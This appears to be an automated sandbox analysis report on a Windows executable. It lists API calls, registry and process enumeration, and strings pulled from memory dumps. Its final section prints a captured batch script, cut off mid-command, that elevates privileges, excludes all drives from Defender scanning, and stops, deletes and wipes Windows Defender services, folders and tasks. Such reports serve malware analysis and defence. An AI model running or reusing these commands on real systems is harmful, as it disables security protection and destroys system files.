{"dwFlags": "4" "th32ProcessID": "0"} "reg.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "2O4405.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "saved.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "3Y00Z.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "3Y00Z.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "15" "th32ProcessID": "0"} "NSudoLG.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"}64:Td3f,Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Disabled" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "'Protect Kerberos Service Tickets with AES Keys' - Enabled" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "3DES" (Indicator: "3des"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-128" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-192" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-256" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Certificate ECDSA P256" (Indicator: "ecdsa"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Certificate ECDSA P384" (Indicator: "ecdsa"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "SSL ECDSA P256" (Indicator: "ecdsa"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "SSL ECDSA P384" (Indicator: "ecdsa"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-GCM 128" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-GCM 192" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-GCM 256" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-GMAC 128" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-GMAC 192" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "AES-GMAC 256" (Indicator: "aes"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp")65:Tca9,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "Process32FirstW" (Indicator: "Process32First"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "Process32NextW" (Indicator: "Process32Next"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WTSEnumerateProcessesW" (Indicator: "WTSEnumerateProcesses"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "Process32Next" (Indicator: "Process32Next"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "Process32First" (Indicator: "Process32First"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "11174826532,1420,3119,,CreateToolhelp32Snapshot,kernel32.dll,"00:24:58.093",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004104.00000000.95884.7FD40000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "QueryInformationProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")66:T850,Observed string: "%WINDIR%\system32\cmd.exe /c tasklist" (Indicator: " tasklist") in Source: 00000000-00009132-00000C45-71968498356 Observed string: "%WINDIR%\System32\tasklist.exe" [Source: 00000000-00004728-00000BC0-501672978] Observed string: "%WINDIR%\system32\tasklist.exe" [Source: 00000000-00004728-00000C45-2817734262] Observed string: "/c tasklist" (Indicator: " tasklist") in Source: cmd.exe Observed string: "C:\WINDOWS\system32\tasklist.exe" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "C:\WINDOWS\Temp\AslLog_ApphelpDebug_tasklist.exe_4572.txt" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "C:\WINDOWS\Temp\AslLog_shimengstate_tasklist.exe_4572.txt" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "C:\WINDOWS\Temp\AslLog_ShimDebugLog_tasklist.exe_4572.txt" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: ":\WINDOWS\system32\tasklist.exe" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "indows\system32\tasklist.exe" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: ":\windows\system32\tasklist.exe" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "ws\system32\tasklist.exe" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "" [Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp] Observed string: "tasklist.exe" [Source: 00000000-00004572.00000000.95398.D2C60000.00000002.mdmp] Observed string: "tasklist.exe.mui" [Source: 00000000-00004572.00000000.95398.D2C60000.00000002.mdmp]67:T9f9,Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegQueryInfoKeyA" (Indicator: "RegQueryInfoKey"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegGetValueA" (Indicator: "RegGetValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegEnumValueA" (Indicator: "RegEnumValue"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "RegOpenKey"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")68:Tc1d,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetCurrentDirectoryA" (Indicator: "GetCurrentDirectory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")69:T70d,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcessToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LookupAccountNameA" (Indicator: "LookupAccountName"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "WTSQueryUserToken" (Indicator: "WTSQueryUserToken"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetUserNameExW" (Indicator: "GetUserName"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")6a:T132a,Found string "The specified account's password has expired." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Unknown user name or bad password." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Failed to zero secret data." (Indicator: "secret"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "ChangePassword (with knowledge of old password)" (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "SetPassword (without knowledge of old password)" (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Create a secret object" (Indicator: "secret"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Change secret value" (Indicator: "secret"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Query secret value" (Indicator: "secret"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The client specified username and password in the request to the destination computer. But the destination" (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "when using HTTPS. Username and password must be specified." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "To use Basic, specify the computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "To use Basic, specify the local computer name as the remote destination, specify Basic authentication and provide user name and password." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "-The user name or password specified are invalid.%n" (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "No user name, password or client certificate should be specified with the 'no authentication' option." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must include user name and password when Basic or Digest authentication mechanism is used." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Add the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The WinRM client cannot process the request. Requests must not include user name and password when a certificate is used for authentication." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Remove the user name and password or change the authentication mechanism and try the request again." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The WinRM client cannot process the request. A certificate thumbprint was specified together with a user name or password." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The WinRM client cannot process the request. When an authentication mechanism is not specified, only user name and password credentials are allowed." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The WinRM client cannot process the request. For authentication mechanisms that require the credentials of an user account, both user name and password must be specified." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Specify the missing user name or password and try the request again." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "Please check the username and password used for mapping this certificate and verify that it is a non-domain account and try again." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "A user account used for configuring a certificate mapping cannot have a blank password." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found string "The WinRM client cannot process the request. The credentials for proxy authentication are not specified correctly. Both user name and password credentials must be valid." (Indicator: "password"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp")6b:T4a2,Found string "OpenProcessToken" (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found string "OpenProcessToken.3" (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "saved.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "nircmd.exe") Found string "OpenProcess" (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found string "OpenProcessTokenW" (Indicator: "OpenProcess"; Source: "00000000-00004460-00000C2A-482291505") Found string "OpenProcessW" (Indicator: "OpenProcess"; Source: "00000000-00004460-00000C2A-482292099") Found string "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found string "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")6c:T6b5,Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe" (Indicator: "\Device\"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004104.00000000.95884.7FD40000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00004460.00000000.93884.E7330000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\tasklist.exe" (Indicator: "\Device\"; Source: "00000000-00004572.00000000.95398.D12C0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00007072.00000000.94219.82C10000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Users\HAPUBWS\AppData\Local\Temp\IXP000.TMP\F2a97.exe" (Indicator: "\Device\"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")6d:T3e40,Observed string: "if "%~1" == "" ( start "" /min "%comspec%" /c "%~f0" any_word exit /b:Startchcp 65001 >nulColor 0fset "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0Work"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || nircmd elevate "%~f0" && exitif defined WT_SESSION (reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1if /i "%USERNAME%" neq "%COMPUTERNAME%$" NSudoLG -U:T -P:E -UseCurrentConsole %0 && exitset "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c")if "%input%"=="8" NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide start "" /min cmd.exe /c start https://eject37.github.io/vlado/ & goto Start:StartProcessRemovereg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && (reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || (NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]::GetDrives() | ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }; Start-Sleep -Milliseconds 1000" >nul 2>&1reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto SkipUnlockerver | findstr /c:"6.1.7601" >nul 2>&1 && goto SkipUnlocker7z x -aoa -bso0 -bsp1 "DKTolz.zip" -p"DDK" "Unlocker.exe" >nulUnlocker /currentDiskSizeif not exist "%AllUsersProfile%\Microsoft\Windows Defender" (if not exist "%SystemDrive%\Program Files\Windows Defender" (goto SkipUnlockerset "flag=0"reg query "HKLM\Software\Microsoft\Windows Advanced Threat Protection" >nul 2>&1 && set "flag=1"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Windows Defender/WHC" >nul 2>&1 && set "flag=1"reg query "HKCR\Directory\shellex\ContextMenuHandlers\EPP" >nul 2>&1 && set "flag=1"if exist "%SystemRoot%\System32\SecurityHealthService.exe" set "flag=1"if not %flag%==1 goto StartUnlockerAndSkipBackupif errorlevel 2 goto Startif errorlevel 1 goto StartUnlockerAndSkipBackupsc query WinDefend | find /i "STOPPED" >nul 2>&1 && (sc start WinDefend >nul 2>&1sc start WinDefend >nul 2>&1)) else (:StartUnlockerAndSkipBackupUnlocker /dfor %%d in ("%AllUsersProfile%\Microsoft\Windows Security Health", "%AllUsersProfile%\Microsoft\Windows Defender", "%AllUsersProfile%\Microsoft\Windows Defender", "%AllUsersProfile%\Microsoft\Windows Defender") do (if exist %%d (timeout /t 2 /nobreak >nulUnlocker /d:SkipUnlockerfor %%x in (%ListWDServ%) do sc config "%%~x" start= disabled & sc stop "%%~x" & sc delete "%%~x" & reg delete "HKLM\System\CurrentControlset\Services\%%~x" /frd /s /q "%SystemRoot%\System32\drivers\wd"for %%d in ("Windows Defender" "Windows Defender Advanced Threat Protection" "Windows Security Health" "Storage Health") do (rd /s /q "%AllUsersProfile%\Microsoft\%%~d")for %%d in ("Windows Defender" "Windows Defender Sleep" "Windows Defender Advanced Threat Protection" "Windows Security" "PCHealthCheck" "Microsoft Update Health Tools") do (rd /s /q "%SystemDrive%\Program Files\%%~d")for %%d in ("Windows Defender" "Windows Defender Advanced Threat Protection") do (rd /s /q "%SystemDrive%\Program Files (x86)\%%~d")for %%d in ("HealthAttestationClient" "SecurityHealth" "WebThreatDefSvc" "Sgrm") do (rd /s /q "%SystemRoot%\System32\%%~d")rd /s /q "%SystemRoot%\security\database"rd /s /q "%SystemRoot%\System32\WindowsPowerShell\v1.0\Modules\Defender"rd /s /q "%SystemRoot%\System32\WindowsPowerShell\v1.0\Modules\DefenderPerformance"rd /s /q "%SystemRoot%\System32\Tasks_Migrated\Microsoft\Windows\Windows Defender"rd /s /q "%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defender"rd /s /q "%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender"rd /s /q 